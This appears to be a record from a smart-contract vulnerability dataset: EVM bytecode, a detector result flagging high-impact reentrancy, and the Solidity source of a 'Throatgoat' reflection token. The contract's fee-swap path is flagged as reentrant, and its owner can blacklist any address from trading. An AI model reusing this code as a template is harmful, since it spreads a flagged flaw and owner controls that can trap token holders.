060405180830381600087803b15801561152957600080fd5b505af115801561153d573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061155f5761155f6115e5565b61156a848484611613565b806107ac576107ac600f54600d55601054600e55565b60006113d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170a565b60008060006115cf611738565b90925090506115de8282611580565b9250505090565b600d541580156115f55750600e54155b156115fc57565b600d8054600f55600e805460105560009182905555565b60008060008060008061162587611776565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165790876117d3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116869086611815565b6001600160a01b0389166000908152600260205260409020556116a881611874565b6116b284836118be565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116f791815260200190565b60405180910390a3505050505050505050565b6000818361172b5760405162461bcd60e51b815260040161061c9190611b09565b5060006112c68486611e52565b6007546000908190662386f26fc100006117528282611580565b82101561176d57505060075492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006117938a600d54600e546118e2565b92509250925060006117a36115c2565b905060008060006117b68e878787611937565b919e509c509a509598509396509194505050505091939550919395565b60006113d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611295565b6000806118228385611d95565b9050838110156113d15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061c565b600061187e6115c2565b9050600061188c8383611987565b306000908152600260205260409020549091506118a99082611815565b30600090815260026020526040902055505050565b6007546118cb90836117d3565b6007556008546118db9082611815565b6008555050565b60008080806118fc60646118f68989611987565b90611580565b9050600061190f60646118f68a89611987565b90506000611927826119218b866117d3565b906117d3565b9992985090965090945050505050565b60008080806119468886611987565b905060006119548887611987565b905060006119628888611987565b905060006119748261192186866117d3565b939b939a50919850919650505050505050565b600082600003611999575060006106a2565b60006119a58385611e74565b9050826119b28583611e52565b146113d15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088d57600080fd5b8035611a3f81611a1f565b919050565b60006020808385031215611a5757600080fd5b823567ffffffffffffffff80821115611a6f57600080fd5b818501915085601f830112611a8357600080fd5b813581811115611a9557611a95611a09565b8060051b604051601f19603f83011681018181108582111715611aba57611aba611a09565b604052918252848201925083810185019188831115611ad857600080fd5b938501935b82851015611afd57611aee85611a34565b84529385019392850192611add565b98975050505050505050565b600060208083528351808285015260005b81811015611b3657858101830151858201604001528201611b1a565b81811115611b48576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b7157600080fd5b8235611b7c81611a1f565b946020939093013593505050565b600080600060608486031215611b9f57600080fd5b8335611baa81611a1f565b92506020840135611bba81611a1f565b929592945050506040919091013590565b80358015158114611a3f57600080fd5b600080600060408486031215611bf057600080fd5b833567ffffffffffffffff80821115611c0857600080fd5b818601915086601f830112611c1c57600080fd5b813581811115611c2b57600080fd5b8760208260051b8501011115611c4057600080fd5b602092830195509350611c569186019050611bcb565b90509250925092565b600060208284031215611c7157600080fd5b81356113d181611a1f565b600060208284031215611c8e57600080fd5b6113d182611bcb565b600060208284031215611ca957600080fd5b5035919050565b60008060008060808587031215611cc657600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611cf557600080fd5b8235611d0081611a1f565b91506020830135611d1081611a1f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d8e57611d8e611d66565b5060010190565b60008219821115611da857611da8611d66565b500190565b600082821015611dbf57611dbf611d66565b500390565b600060208284031215611dd657600080fd5b81516113d181611a1f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e315784516001600160a01b031683529383019391830191600101611e0c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e6f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e8e57611e8e611d66565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220012ec18f025fab0292f03472ea8ca9793202fd773574f3940d0d34bdddc9188964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,066 |
0x991637474cc1c2e37611b77fc3da58e879e8c288
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Throatgoat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ThroatGoat t.me/throatgoat";
string private constant _symbol = "TGOAT";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 15;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable teamwallet, address payable marketingwallet) {
_teamAddress = teamwallet;
_marketingFunds = marketingwallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601a81526020017f5468726f6174476f617420742e6d652f7468726f6174676f6174000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f54474f4154000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c578160200160208202803683378082019